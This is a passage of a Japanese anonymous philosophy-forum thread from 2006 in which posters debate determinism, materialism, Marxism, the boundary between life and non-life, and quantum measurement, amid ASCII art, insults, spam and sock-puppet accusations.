832 :考える名無しさん:2006/11/22(水) 22:10:55
>観測する行為自体が対象に影響を与えるんだから。
>これでデカルト以来の主観と客観はそれぞれ完全に分離しているという
>前提はぶっ壊れてしまう。


まだこんなこと言ってんのかボケ

833 :考える名無しさん:2006/11/22(水) 22:15:49
>>832
           ____
          /      ヽ
         ||○ ○ |
         ||__  |
         ||ヽ_│ |   わらうむ返しじゃよ?
         || __ |
     _,. -‐'  、_ ヽ、_     '   ヽ、
   ,r'´       `''‐ ニ=  '´,..-‐' ``ー、
  /              ',      ', ヽ
 l                l        l ',
 |      、           l       l l
./        ヽ、        人       ノ  l
i       | `ー ---‐''''´l  `ー─‐i'   l
',        l         !     /   l


834 :考える名無しさん:2006/11/22(水) 22:40:19
>>801
違うよ。言い出したのは俺じゃないし。

835 :考える名無しさん:2006/11/22(水) 23:14:51
>>834 じゃ誰よ? 少なくともお前は言ってる・・で他には見かけない

836 :第2唯物論 ◆qBkUSoWgX. :2006/11/22(水) 23:27:51
  >揺らぎを言うなら、ミクロな自由度が多ければ多いほどマクロにはより決定論的に振舞うんですよ

そんなことはしってるよ、わざわざ逆統計力学とかいてるじゃんか
非線形とかいてもしっくりこないしどう書いたらいいんだろうね

 プロの科学者に聞いてみな世界中の科学者は、未来が全て決まってるなんてないと知ってるよ


837 :第2唯物論 ◆qBkUSoWgX. :2006/11/22(水) 23:30:02
第一未来が全て決まってるなんて物証はかけらもないんだろう

単に脳内でそうなってるだけじゃんか.そうだとしてもそれを否定できないんだろう

838 :第2唯物論 ◆qBkUSoWgX. :2006/11/22(水) 23:32:13
 訂正 単に脳内でそうなってるだけじゃんか.そういわれてもそれをまったく否定できないんだろう



839 :考える名無しさん:2006/11/22(水) 23:44:43
そもそも、このスレは「真理」概念がまるきり分からずに話されてるんだろ。

840 :考える名無しさん:2006/11/23(木) 00:22:34
>>839ニーチェ的問いですね。僕はこの頃哲学に少し飽きて心理学をやってるんですけど貴方や他の人達もそんな経験ありますか?

841 :考える名無しさん:2006/11/23(木) 00:32:37
何を「参照」するか次第でしょうね。

842 :考える名無しさん:2006/11/23(木) 00:44:25
>>841まあ確かにそうですね

843 :考える名無しさん:2006/11/23(木) 01:35:17
第2唯物論 ◆qBkUSoWgX.

844 :考える名無しさん:2006/11/23(木) 03:37:49
:    ::         ,.- ..,                  :
 .   :        ,゙   ゙ ' ‐ ‐ ‐/⌒ヽ' ' ゙ ',    ..:::..
 .     ∧     :          .! ,.γ⌒ヽ ;    ::
     <  '7   ,'゙        ゙'‐-ヘ,   ノ.,⌒)
      レt-! . ,'    ''''''   ''''''  ~ ^ヾ_ノ
        !‐‐┼- (●),   、(●)、     ;
        !‐┼-    ,,ノ(、_, )ヽ、,,    ー┼-   
          !.‐十    `-=ニ=-´      ‐┼-
         ,.!- ヽ、   `ニニ´       ゙メ、
         ',.と   ゙ ッ‐,-.,.,.,.,.,.,.,n‐ッ, ‐ ' ゙
 .          ` !、  ./  ゙' -∠ィ^'゙    ゙ヽ、
            `.7 .,‐^- 、  ゙ヽ、    i
    ..::..      ノ   ι、r'     ヽ、,._ノ
 .     ::       ,∠..,,_     ゙         >   .:.
           ` ''! ゙ヽ.,, _ _     , イ   ...:: ::...
                 ヽ、  ヽ、  ̄  ,ノ    :: ::
                ゙ ' ' ゙   ゙ ' ' ゙      :  :

845 :考える名無しさん:2006/11/23(木) 04:24:38
俺がどんな死に方をするのかはわからんが死ぬことは決定している。

846 :ゾルレン:2006/11/23(木) 05:26:34
前回は投稿規制がかかって書き込めなかった
許せ
35批判に興味ある奴は「超越論的実際論的基礎付け」あたりで探せばいいかも。
「人間が理性的存在者として行為する者である。」というカントの文章の正当性の吟味や
近代哲学の土台と言われるデカルトの思考がピュロン批判にあるということとか書こうとか思ってたけど
なんか予想していたような反応がなくて残念。
もっと叩かれると思ってたんだけどねぇ。


847 :ゾルレン:2006/11/23(木) 05:27:28
>>771
institutional factとbrute factは違う。
個人が自ら何を考え何を行動するかは個人の意思によるものだ。
だから俺の行動は俺の好き勝手だ。
だが、政府がそのような価値観を打ち出したならば
まずシステムを吟味する。個人が悪意を持とうが善意からだろうが、それはシステムの良し悪しとは別だろう。
善意から最悪の結果を招くことは多々ある。
逆に、悪意を持とうとシステムによっては最悪の結果を回避できるかもしれない。
まず、政府がそのような価値観を持ちながらも、異なる意見からの反対意見を言える開かれた政府であるかどうかをチェックする。
ある政策が政府の価値方針によって正当化されることがなく、市民からの批判に対して開かれているかどうか。
そういう開かれた政府ならば、俺は楽観的だから放っといても最悪の状況にはならんと思う。
もちろんヤバいと自分で思ったら政府に対して批判はする。
ナチスのように口では平和を唱えながら武力を行使しようとするならば、力に訴えるかもしれない。


848 :ゾルレン:2006/11/23(木) 05:29:20
続き
>>771
教育とあるが、人間はそう簡単には洗脳されんだろうと思っとるが、
もしそうなったら寺子屋でも開いて本を読ませるレジスタンス活動でもするかな。
多種多様な本を読むことは自らの論理的思考を鍛え上げ、自ら考える力を養うと俺は思っている。
本を読むことは自らを啓蒙させる、と俺は考えている。
文章を書く能力は文章を読む能力であり、文章を読むことで自らの思考の枠組み立てをはっきりと理解できる、
また、みずからの思考の枠組みを把握することで謙虚さや他者への思いやりを得る、と考えている。
理性的であることは普遍性を求めることであり、普遍性を求めるならば、
自らの答えを普遍的だと扱うのではなく、問いを建てるだろう。
もちろん、俺のようなぬるい行動ではどっかに苦しんでいる人は必ず出るだろうし、
それはユートピアではないが、
ユートピアのような理念は理念としてもつべきものであり、現実に実現させようとすべきものではないと思う。
(「理想社会を実現するのではなく、社会の変化はつぎはぎ的に」という考え方)
出来る限り、いわれのない責任による苦しみを緩和させたいとは思うが、
(スーダンでの大虐殺だって心苦しいものだ)、
どっかに被差別者が存在することをある意味社会の必然だと思ってはいる。

さて、ダラダラと書いたが、この文章で君に関心があることに対して触れられただろうか。


849 :ゾルレン:2006/11/23(木) 05:50:21
・形而上学的理念と科学的方法
ちょっと前に話題にしたが、「すべての人は利益を求める」という言明を「形而上学的」と俺は称したが、
これは利益を求めない行動をする人間を想像の上でも設定できないようにつくられているから、ただの定義に陥っているということ。
だが、定義はそれだけで非難されたり非科学的なものとののしられるものではない。
科学的手法にはまず前提が必要不可欠だし、そのようなものの大半は形而上学のような理念的なものや定義の域を超えないものだ。
1年ほど前にキュリー夫人のラジウム抽出について「ラジウムがある」という言明を例に説明したはず
(純粋存在言明は反証不可能と言うやつ)
で、「世界が決定している」もこのような理念の域を出ないものは「形而上学的決定論」と呼ぶ
科学的手法は形而上学的な理念から様々な反証可能な条件を付加させることで知識を得る。
この肉付け作業みたいなものが科学的な方法なわけだ。
科学的決定論批判とは、決定論を算出可能とするとパラドクスに陥るということで批判する。
これで決定論の肉付け作業を批判しているわけだ。
だから残った決定論は骨のない骨付き肉だし(この表現、気に入ってます)
「それは批判不可能だ」と言うのもその通りだし、
ウィトゲンシュタインは「批判不可能なものは無意味」としたけど、さして相手にするほどのものでもない。
同じレベルで形而上学的非決定論が思考可能だからね。


850 :ゾルレン:2006/11/23(木) 05:57:33
あ、ごめん
>骨のない骨付き肉だし
どっちかと言うと「肉のない骨付き肉」だね

ある理論を決定的正当化することに論理的アポリアが存在する以上
ある理論を決定的に不当と扱うことにも同じアポリアがあるんだよね。
だから形而上学的決定論は常に可能だ。


851 :考える名無しさん:2006/11/23(木) 05:59:38

さて、ダラダラ自作自演しているヤツがおおかた分かってきたが

852 :考える名無しさん:2006/11/23(木) 06:13:56
敦が私だけを愛してくれますように。敦ともっとたくさん逢えますように。他の女が敦に言い寄りませんように。
血圧が下がって安定しますように。娘の具合が早く良くなりますように。あの人と話ができました。
今日かかってきた電話が彼からのものでありますように。大金が手に入って、借金を全部返せますように。
健康な赤タンができますように。アトピーが治りますように。寛子が、今すぐにでも俺を必要としますように。
かわむらさんとつきあいたい!じーじの仕事が定まりますように。髪の毛がフサフサに生えてくる。
泉君と結婚したい。来年にも結婚したい。明日朝から雨が降りますように…本当にお願いします!!
本当に早く帰ってきて下さい。そしてCとSからたくさんメールがほしいです。歯の痛みを消してください。
懸案事項が解決しますように。弟の目が治りますように。ありがとうございました!!金が欲しい。
彼が私を必要としてくれますように・・・私をかわいいと思ってくれてましたようにいいカードが引けますように。
子供たちと一日も早く一緒に暮らせる日が来ますように。彼に守ってもらいたい。気にかけてもらえますように。
いつまでも一緒にいられますように。多額のお金を収得出来ますように!下剤が効きますように。
>>3 >>25 >>4-879 >>77 >>451 >>65 >>849

853 :ゾルレン:2006/11/23(木) 06:32:20
>ただ、最もプラグマティズム的思考の強い国はアメリカだと思うのですが、
>明らかにそれはマルクス主義とは対極にあります。このへんは、
>どう考えればよいでしょうか。
マルクス主義は道徳的なものがあると俺は考える。
まぁ、現状の社会を分析した後、それを不当だと言うのだから当然そうだろう。
逆にそのような価値や倫理について語るのは学者の仕事ではないと考える人もいる。
アメリカはそういう傾向が強いのかな?ごめん、アメリカの学問の状況は本で書いたものでしか読んだことない。
実際に見てはいない。
俺は学者は倫理を無視できないと考える。社会科学だけでなく自然科学者もこれからは倫理を無視できないだろう
(加藤先生の言葉だけどさ)
ウェーバーの価値自由テーゼも、
社会科学者はいかなる価値にも自由に立脚してよい(ただし、その価値からは少し醒めてろ)みたいな感じだったと思う
だが、マルクスの道徳観に対して道徳的批判は行えそうだ。
マルクスの考え方は「搾取が少しでもある社会はそれだけで悪い」「階級が存在する社会はそれだけで悪い」のような部分があるのではないか?
だが、このような道徳観は理想郷を実現させようとする正当化主義的な道徳観ではなかろうか?
ポパーは(毎度ポパーですまん)、このような考え方を「ユートピア社会工学」と名づけ
それとは別に「ピースミール社会工学」を提案する。
社会の改革をつぎはぎ的に行おうとすることで、知性の役割を存分に発揮できるというものだ。
これは学問と社会改革の丁度良い融合の形だと思うんだけど・・・
実はプラグマティズムの影響下の学問て具体的によく知らないんだよね。


854 :考える名無しさん:2006/11/23(木) 06:52:04
               /\ また貴方ですか
             />>1 \
頷けます ___    ̄|  | ̄   ___
      |>>9 /  . |  |     \>>10 | あなたのレス、気に入りました
      |   \    |  |     /   |
      |/\  \__|  |__/  /\|
確かに /|   \          /  |\
   . /   ̄ ̄  ( ̄`ー-‐´ ̄)  ̄ ̄  \
   < >>8      <(・)-o-(・)>   >>4  > その調子でレスを打つとよいでしょう
   . \  ___ (_ (__人__) _)__  /
     \|   /    i__i__i   \   |/
      |\/  / ー┐ ┌-\  \/|
      |>>7 /   . |  |   \ >>5| 独特の考えですね
同意です |   \    .|  |   /   |
       ̄ ̄ ̄   _|  |_   ̄ ̄ ̄
             \>>6 / 鋭い意見だと思います
               \/

855 :ゾルレン:2006/11/23(木) 07:00:07
あと、ここに書き込もうと思った、問題と神秘の区別を
「君が考えたことはとっくの昔に誰か別の人が考えてる」スレの21に書いた
興味ある奴は読んでくれ
別に神秘主義者がいてもいいと思うんだけど、そういう輩に限って合理主義を批判してる気がするんだよね
神秘主義者と合理主義者が混在する多元的状況では足らないのかな
これがルサンチマンてやつなのかなw


856 :考える名無しさん:2006/11/23(木) 07:04:42
    ∧_∧
    (´・ω・)     ∧_∧
   /    \      (    )ageんなチンカスくせぇ
__| |     | |_   /    ヽ
||\  ̄ ̄ ̄ ̄   / .|   | |
||\..∧_∧    (⌒\|__./ ./
|||. . (    )     ~\_____ノ| ∧_∧.
  _/   ヽ うぜーひっきー\| (    ) 死ねってまじで糞が
.  |     ヽ          \ /    ヽ.
.  |    |ヽ、二⌒)       / .|   | |
.  .|    ヽ \∧_∧   (⌒\|__./ ./
   ヽ、___ (    )きめぇ ~\_____ノ|  ∧_∧
.         _/   ヽ          \|  (    )で?用がないなら消えろニート
.         |     ヽ          \ /    ヽ、
.         |    |ヽ、二⌒)       / .|   | |
.         .|    ヽ \\       (⌒\|__./ ./

857 :考える名無しさん:2006/11/23(木) 07:05:58
            / ̄ ̄\
            ノフノフノ
      〜 〜  (Φ Φ)   へへっへへ
     (Φ Φ) / |∀|⌒i
    / д \     | |
    /    / ̄ ̄ ̄ ̄/ |
  __(__ニつ/  FMV  / .| .|____
      \/____/ (u ⊃



858 :考える名無しさん:2006/11/23(木) 12:08:13
>>835
だから言っている奴は俺じゃないって。他の奴。

859 :考える名無しさん:2006/11/23(木) 12:11:25
>>836
>プロの科学者に聞いてみな世界中の科学者は、未来が全て決まってるなんてないと知ってるよ

まともな学者なら、決定論を否定でいないことは知っているよ。
不可知論とまでは言わないが、決定されていないことを知ることは不可能だから。

860 :考える名無しさん:2006/11/23(木) 12:23:28
倫理的責任の根拠を因果関係に求めると、無限後背に陥る。

861 :考える名無しさん:2006/11/23(木) 14:17:53
>>858
>> 797で書いてるじゃん

862 :考える名無しさん:2006/11/23(木) 16:19:53


ここ、廃人の墓場

863 :考える名無しさん:2006/11/23(木) 16:31:21
    ∧_∧
    (´゜∀゜)ゲラゲラ ∧_∧
   /    \      ( ゜∀゜) ヘラヘラ
__| | 本体 | |_   / 分 ヽ
||\  ̄ ̄ ̄ ̄   / .| 身 | |
||\..∧_∧    (⌒\|__./ ./
|||. . ( ゜∀゜)     ~\_____ノ| ∧_∧.
  _/   ヽ ヘラヘラ      \| ( ゜∀゜) 俺様の自作自演に飛びつく夏の虫
.  |  分 ヽ          \ / 分  ヽ.
.  | 身 |ヽ、二⌒)       / .| 身 | |
.  .|    ヽ \∧_∧   (⌒\|__./ ./
   ヽ、___ ( ゜∀゜)プゲラ ~\_____ノ|  ∧_∧
.         _/   ヽ          \|  ( ゜∀゜) ケラケラ
.         |  分 ヽ          \ / 分 ヽ、
.         | 身 |ヽ、二⌒)       / .| 身 | |
.         .|   ヽ \\       (⌒\|__./ ./


864 :考える名無しさん:2006/11/23(木) 16:36:12
熱いセックスしようぜ☆デカマラからたっぷり発射してやるから覚悟しろよな。☆体育会野球部員のチンチンほすぃ…w

865 :考える名無しさん:2006/11/23(木) 23:58:17
なぜ非生物は非生物なのか生物は生物なのか、同じ自然、物質でできているのに
。組み合わせ、結合の形にパワーが潜んでいるのでちゅか。
そういう風にできている、人間にはわからない。つまり汎神論でいいでちゅか?
ひらんやぱわーも信じていいでちゅか?

866 :考える名無しさん:2006/11/24(金) 07:36:33
ウィルス

867 :考える名無しさん:2006/11/24(金) 08:51:24
>>865

何年前の問題意識だよ。
これに回答できないようなら最初からやりなおせ。

868 :考える名無しさん:2006/11/24(金) 11:56:33
化石人間スレかよ。w

869 :考える名無しさん:2006/11/24(金) 12:21:23
>>867
偉そうに言うな
じゃあ、お前が答えて見ろや

870 :考える名無しさん:2006/11/24(金) 13:49:08
>>869

馬鹿か、オマエは。
偉そうに聞こえたとしたらオマエの程度が知れる。
漱石の小説にも紹介されている。
その程度の問題だよ。

池沼極まれり。w

871 :考える名無しさん:2006/11/24(金) 13:53:48
>その程度の問題だよ。

漱石は勉強家で当時の最先端の科学論文も読んでいる形跡があるということを指摘している人がいる。
まだそんなことがわからないとしたら、ここは本当に池沼の集まりだということになる。

機械や最高位も程度が低くて相手にしたくないというのがここを去った人間の本音だろう。

872 :考える名無しさん:2006/11/24(金) 13:55:17
少しは哲学史でも齧れ、池沼ども。

873 :考える名無しさん:2006/11/24(金) 14:03:45
>>870
漱石だぁ?
お前こそいつの時代の話してんだよw
で、お前の意見だ全然出てないじゃん、
結局、他人の衣を借りないと何も言えない癖によ。
早く自分の見解を述べて見ろや。
つーか、俺は865じゃないけど、こんな単純な問題に関しても
未だに解答なんか出てないんだよ。そんなこともわからんで
偉そうに書くなってことだ、ボケ


874 :考える名無しさん:2006/11/24(金) 14:06:14
なんか漱石を小ばかにしているような感じで
腹立つなあ。870
871も腹立つ。それはお前の本音かね。
漱石がなんなんだよ。それが何なんだよ。
お前は分かっているのか?分かっていたら片鱗でも言って見れ。
反論が怖い?

875 :考える名無しさん:2006/11/24(金) 14:16:53
>なぜ非生物は非生物なのか生物は生物なのか、同じ自然、物質でできているのに

こんな問題、漱石だろうが現代の生物学者だろうが哲学者だろうが、
正解なんかわからないでしょうよ。誰かわかる人いるの?

876 :考える名無しさん:2006/11/24(金) 14:21:38
>>875
そもそも、生物と非生物に境界は無い。複雑さに応じて、人間が大雑把にわけただけ。

877 :「機械的唯物論」者 ◆ilgJQLaPUQ :2006/11/24(金) 14:44:03
>>853
>マルクスの考え方は「搾取が少しでもある社会はそれだけで悪い」「階級が存在する社会はそれだけで悪い」のような部分があるのではないか?

その点は「大きな間違い」ですね。資本主義生産様式は「高度情報化社会」をもたらしましたが、
その原動力となったのは「労働者の欲望」です。たとえば、日本は世界第2位のGDPを産出する
国家となりましたが、その過程で先の戦争直後こそ「必要な衣食さえ提供されない」状況でしたが、
他の大部分の時期は「ほら、冷蔵庫と洗濯機と(白黒)TVは便利だよ・・・必要だよ・・」から
はじまり、次の時代「ほら、カラーテレビとクーラーと自動車(クルマ)は便利だよ・・・必要だよ・・」
・・・と労働の対価として受け取った「貨幣価値」を商品と交換するシステムにより、
永遠に「誘惑されつつ消費する」ことを継続するのです。むろん労働者として働かないで済む「富裕層」も
商品に誘惑され、消費を継続するために投資を継続しますが、富裕層と労働者が適度なバランスで競合する
経済システムとしての「国家」が、効率良くGDPを増大させ、結果的に労働者・富裕層ともに欲望の満足に
「近づく」のですが、「欲望が完全に満足」される状態など、実は誰も望まない「希望の無い世界」である・・
という意味で、実は労働者・富裕層両者の利害は「一致している」のです。


878 :考える名無しさん:2006/11/24(金) 15:21:45
相変わらず文脈が読めない機械

879 :考える名無しさん:2006/11/24(金) 15:28:09
それが彼の意識が作り出した必然なのでしょう。
彼もそれで満足しているみたいですし
そっとしておいてあげましょう。

880 :考える名無しさん:2006/11/24(金) 16:12:14


終わったスレに未練はない

881 :考える名無しさん:2006/11/24(金) 16:13:38
>>880
ほんとに未練がない人は捨て台詞とか残していかないんだけどねw

882 :考える名無しさん:2006/11/24(金) 16:14:37
「機械的唯物論」者 ◆ilgJQLaPUQ
第2唯物論 ◆qBkUSoWgX
ゾルレン

この度の実験でこいつら3人同一ホストのIPであることが判明したしました

883 :考える名無しさん:2006/11/24(金) 16:18:26
ということは
物質が物質を感じてるってことなんだね。

納得。

884 :考える名無しさん:2006/11/24(金) 16:21:14
>>882
おれもそのリストに入れといてくれ


885 :考える名無しさん:2006/11/24(金) 17:23:32
>>876
なんじゃそりゃ?
バカじゃねえの
生物と非生物は明らかに違うつーの

886 :考える名無しさん:2006/11/24(金) 17:28:20
>>885
堵虞慧螺を知らんようだなwwwwww

887 :考える名無しさん:2006/11/24(金) 17:35:56
>>886
堵虞慧螺轡簸だろ、哲学をやるなら常識だ

888 :考える名無しさん:2006/11/24(金) 17:37:22
>>885
では、完全に区別することができる定義を述べたまえ。
ウイルスがどっちに含まれるかもよろしく。

889 :考える名無しさん:2006/11/24(金) 17:40:08
>>887
堵虞慧螺簸轡だろ?
で、生物か無生物か?はたまた半生物か?擬生物か?

890 :考える名無しさん:2006/11/24(金) 17:44:48
>>888
キミは876か?
ウイルスを持ち出してきたってことは少しは知っているってことじゃん。
つまり、ウイルスは生物と非生物のどちらとも言えるから、
生物と非生物に境界は言いたいわけか?

891 :考える名無しさん:2006/11/24(金) 17:46:33

× 生物と非生物に境界は言いたいわけか?
○ 生物と非生物に境界はないって言いたいわけか?

892 :考える名無しさん:2006/11/24(金) 18:59:01
>>890
>つまり、ウイルスは生物と非生物のどちらとも言えるから、

え?なぜ?どういう定義だとそうなるの?


893 :考える名無しさん:2006/11/24(金) 19:00:18
プリオンは何?


894 :「機械的唯物論」者 ◆ilgJQLaPUQ :2006/11/24(金) 22:50:08
>>878
確かにそうですね。877を訂正致します。
→その点は「大きな間違い」ですね。資本主義生産様式は「高度情報化社会」を
もたらしましたが、その原動力となったのは「労働者の欲望」です。
例えば、日本は世界第2位のGDPを産出する経済大国となりましたが、
そうなる過程では先の戦争直後など「必要な衣食さえ提供されない」状況でした。
他の大部分の時期は「ほら、冷蔵庫と洗濯機と(白黒)TVは便利だよ・・・必要だよ・・」から
次の時代「ほら、カラーテレビとクーラーと自動車(クルマ)は便利だよ・・・必要だよ・・」
・・・と労働の対価として受け取った「貨幣価値」を商品と交換するシステムに、「永遠に誘惑
されつつ労働し消費するシステム」を労働者も維持することを欲求し続けるのです。
むろん労働者として働かないで済む「富裕層」も労働者達と同じように「商品・サービス」に誘惑され、
消費を継続・拡大するために(財産の消滅というリスクを含んだ)「投資」を継続しますが、富裕層と
労働者が適度なバランスで競合するそのような「経済システム」としての「資本主義国家」が、効率良く
GDPを増大させる・・というのが「20世紀の経験則」なのです。
 結果的に労働者・富裕層ともに欲望の満足に「近づく」のですが、両方とも「欲望が完全に満足される状態」など、
実は望んではいない「希望の無い世界」である・・という意味で、実は労働者・富裕層両者の利害は「一致している」
・・ということです。



895 :考える名無しさん:2006/11/24(金) 23:04:01
>>894
>>1とキャップが違うようなんですけど、もしかして変えたの?別人なの?

896 :「機械的唯物論」者 ◆ilgJQLaPUQ :2006/11/24(金) 23:08:08
「機械的唯物論」者 ◆Wrk8395W0I は消えて、↑に変わりました。
(ソフトウェア的ではなく)「ハードウェア的事情により」です。

897 :「機械的唯物論」者 ◆ilgJQLaPUQ :2006/11/24(金) 23:18:59
>>890
>つまり、ウイルスは生物と非生物のどちらとも言えるから

そうですね。DNA(デオキシリボ核酸)は、4種の塩基が繰り返し
組み合わされた「塩基の螺旋階段」という分子構造を持っておりますが、
所謂「遺伝子」とは、その「DNAのある(特定の)組み合わせ」に過ぎません。
そして「DNAのある(特定の)組み合わせ」が、例えばタバコモザイクウィルスでは、
「結晶」として(半永久)保存可能なので・・「物質」である・・と言えるけれど、
タバコの葉に乗せると「2層円筒形のウィルス」として活発に増殖を始める・・という意味で、
「生物である」・・と言うことができるのです。
 要するに「生命」とは物質(分子)の「ある状態を指す」としか言えない・・ということです。

898 :考える名無しさん:2006/11/24(金) 23:22:47
>>1
確かに「脳の中に何かがある」と言うのはおかしいな。何故ならそれは
君と同じく唯物論的な発想だから。物質から逃れる為に、また他の物質
を仮定しちゃってるんだ。それじゃ>>1の様に言われても何も言えない。

しかし単純に思考は物質の力を借りなくても自分に根拠を持ってる。
1+1=2は単純に1+1=2なのであって、1+謎の物質+1=2ではない。

つまり物質と精神はお互い支え合っているが、各々の仕事の邪魔を
する事はない。だから脳が物質だからと言って、精神が自由でない
とは言えないんだ。

(別に1+1=2は絶対だと言ってる訳じゃないよ。それが純粋に思考のみ
で成り立っているという事だ。)

899 :「機械的唯物論」者 ◆ilgJQLaPUQ :2006/11/24(金) 23:28:36
>>898
>つまり物質と精神はお互い支え合っているが、各々の仕事の邪魔を
>する事はない。
そうではないと思います。
「1や2や3という数」という「観念」は、「数える個物である物質」が、
それこそ「1個も存在しない」状態では発生しえませんし、たぶん「1個しか存在しない」
状況で、「2という観念」も「存在」し得ません。
・・・要するに「実態的存在である『物質存在』が(数のような)観念より先行する」
・・ということです。

900 :考える名無しさん:2006/11/24(金) 23:49:09
それを言ったらおしまいよw

901 :考える名無しさん:2006/11/25(土) 00:01:10
誰かプラトニズムに有利な説を教えてください。

902 :「機械的唯物論」者 ◆ilgJQLaPUQ :2006/11/25(土) 00:06:20
>>901
人類という哺乳類の類的存在を脅かす脳に宿る情報ウィルス=観念論
・・という「悪しき脳の使い方の伝統」・・それが観念論=「神へのプラトニックラブ」
(キリスト教エピステーメーのバリエーション)・・・ということです。

903 :考える名無しさん:2006/11/25(土) 00:08:35
機械論というコテ名で観念論を唱えるはネタ?

904 :考える名無しさん:2006/11/25(土) 00:09:45
>「機械的唯物論」者 ◆ilgJQLaPUQ

それでいつになったら決定論唯物論を証明してくれるの?

905 :「機械的唯物論」者 ◆ilgJQLaPUQ :2006/11/25(土) 00:11:16
>>903
唯物論は「=非観念論」であり、
観念論は「=非唯物論」ですので、
両者は並存できません。

906 :考える名無しさん:2006/11/25(土) 00:13:06
>>905
オマエのいう唯物、観念の定義ってなによ?

907 :「機械的唯物論」者 ◆ilgJQLaPUQ :2006/11/25(土) 00:16:49
>>905
あまたのおっしゃる「証明なるもの」は、実は(ご存知のとおり)存在しません。
目の前のマジックで「騙される」と、そのマジックが「真理である」と信じる精神に
対して、「何かを証明する」ことなど、所詮はできっこありません。
 目の前のマジックのトリックさえ見破れない「頭脳」にいったい何を「証明」でき
得るのでしょうか?・・物理化学的「真実」でさえ理解していない頭脳に、そもそも
「証明の何たるか」を理解できる訳が無い・・からです。

908 :考える名無しさん:2006/11/25(土) 00:20:28
>>907
そうだろう。
だからきみの唯物論というのも証明されない夢物語なんだよ。
このスレもとうとう終わることができるね。
よかったよかった。

909 :考える名無しさん:2006/11/25(土) 00:20:48
>物理化学的「真実」でさえ理解していない頭脳に、そもそも
>「証明の何たるか」を理解できる訳が無い・・からです。

こいつはまじで馬鹿だなw

真実と証明の正当性は全く関係がない


910 :「機械的唯物論」者 ◆ilgJQLaPUQ :2006/11/25(土) 00:24:29
(理論)物理学・・・(分子)生物学・・(大脳)生理学・・的な「証明」
・・というレベルで「証明されている」ことだけで「十分」であり、それらの
「証明」を、あなたの頭脳が「理解できるか否か」は、それらの「証明の正当性」
には、なんらの影響を及ぼすことは無い・・ということです。
本日は脳内睡眠物質の蓄積により就寝させて戴きます。

911 :考える名無しさん:2006/11/25(土) 00:24:44
元横綱貴乃花が起こしてきた数々のトラブル
自分は相撲詳しく知らないのでざっくりだけど・・・

○宮沢リエとの婚約破棄騒動 これはトップアイドルだった宮沢の人気を完全に凋落させた
○新興宗教トラブル いかがわしい思想に傾向し周囲と様々の軋轢を生む土壌になる
○お兄ちゃんこと若乃花との兄弟確執 本人いわく新弟子時代から兄の処世術の上手さを
          ずるい行為だと思うようになった事が発端とのこと
          賛否両論があった兄の横綱昇進でピークに
○安芸の島との騒動 これは安芸の島が部屋を移籍する騒動にまでなった
○部屋継承問題 若乃花、叔父など巻き込んで一大騒動に発展
 自分は実子では無い事を匂わせている様に取れる発言などもマスコミに取り上げられるなどもした
○借金疑惑 部屋継承、遺産相続に絡んだ強硬な態度から生まれた
         今までの事業失敗や部屋拡張に伴う出費などが検証された
○部屋改革 部屋に親方と女将さんが住まない タニマチに頼らない部屋運営など
        新機軸を打ち立てたが効果は出ていない 後に親方は部屋に住むように変更
○激やせ騒動 これで指導に当たれるのかと批判を浴びた
○新弟子0騒動 就職場所と呼ばれる春の新弟子入門で 希望者0を記録


912 :考える名無しさん:2006/11/25(土) 00:27:05
「機械的唯物論」者 ◆ilgJQLaPUQの最終回

904 名前: 考える名無しさん [sage] 投稿日: 2006/11/25(土) 00:09:45
>「機械的唯物論」者 ◆ilgJQLaPUQ

それでいつになったら決定論唯物論を証明してくれるの?

907 名前: 「機械的唯物論」者 ◆ilgJQLaPUQ 投稿日: 2006/11/25(土) 00:16:49
>>904
あまたのおっしゃる「証明なるもの」は、実は(ご存知のとおり)存在しません。
目の前のマジックで「騙される」と、そのマジックが「真理である」と信じる精神に
対して、「何かを証明する」ことなど、所詮はできっこありません。
 目の前のマジックのトリックさえ見破れない「頭脳」にいったい何を「証明」でき
得るのでしょうか?・・物理化学的「真実」でさえ理解していない頭脳に、そもそも
「証明の何たるか」を理解できる訳が無い・・からです。

908 名前: 考える名無しさん [sage] 投稿日: 2006/11/25(土) 00:20:28
>>907
そうだろう。
だからきみの唯物論というのも証明されない夢物語なんだよ。
このスレもとうとう終わることができるね。
よかったよかった。

913 :考える名無しさん:2006/11/25(土) 00:41:53
一般人から見たらこのスレすっごいきもい


914 :考える名無しさん:2006/11/25(土) 00:46:12
>>913
懐かしい日常性が唯一一番大事であり、それ以外の雑事はめんどくさいいらんことだけだよな?

915 :考える名無しさん:2006/11/25(土) 00:50:51

以前から気になっていたのだが、なぜテクノ厨どもはさまざまなダンスミュージック
の起源をテクノとし、大々的に宣伝するのか。

Wikipediaやテクノ厨のウェブサイトで引きこもりっぽいやつが勝手にクラブ用語解説
みたいなの作っちゃって、ハウス、アシッドジャズ、トランス、ユーとビート・・な
んでもかんでもテクノ系音楽にしちゃってます。厨の数が多くて本当に信じてしまう人
が増えそうで怖い。



916 :考える名無しさん:2006/11/25(土) 00:52:23
>>913
自分が一般人だと頑なに信じているおめでたさはかわゅいなw

917 :考える名無しさん:2006/11/25(土) 01:06:07
自分が一般人だと頑なに信じているおめでたさはかわゅいなw
というセリフは自分が一般人だと頑なに信じているおめでたい人間ならではで
よりいっそうかわゅいなw


918 :考える名無しさん:2006/11/25(土) 01:11:38
自分が一般人だと頑なに信じているおめでたさはかわゅいなw
というセリフは自分が一般人だと頑なに信じているおめでたい人間ならではで
よりいっそうかわゅいなw
というセリフは自分が一般人だと頑なに信じているおめでたい人間ならではで
更にいっそうかわゅいなw



919 :考える名無しさん:2006/11/25(土) 01:20:34
レス貰えるように仕向けることって簡単だな

920 :考える名無しさん:2006/11/25(土) 01:29:05
名無しだが。

現象を多数回繰り返せるから、現象を確率的であると言い得るのだ。
換言すれば、確率とは、何らかの〈集合〉に関する概念にすぎぬ。
光子の干渉実験は、この条件を満たさない。何故なら、一度感光板
に入った光子を再び実験に使うことは原理的に出来ないからである。
よって、量子力学による波動関数ψが特定の1個の光子の状態を記
述している、という説明は反証不可能。

921 :考える名無しさん:2006/11/25(土) 01:44:46
名無しだが。

測定がどの段階で終了するのかという根本問題がある。
ノイマン流の解釈では、観測者が測定結果を意識した段階で測定が
終了するとする。他の解釈では、測定器の結果が出た段階で測定が
終了する。

小澤東北大教授の概念は明解である。
系を測定対象系と探針系に分け、探針系は検出器を持つ。
測定とは、測定対象系と探針系の相互作用であり、この相互作用に
は作用開始と終了が存在し、探針系が示す観測可能量を検出器が読
みとるのは、この相互作用の終了直後の探針系の状態であると言う
ことだ。
従来のハイゼンベルクの不等式
ε(Q)η(P)≧h/4π
に、ε(Q)σ(P)とσ(Q)η(P)の項を追加。
この項の発見の意味は、きわめて大きい。


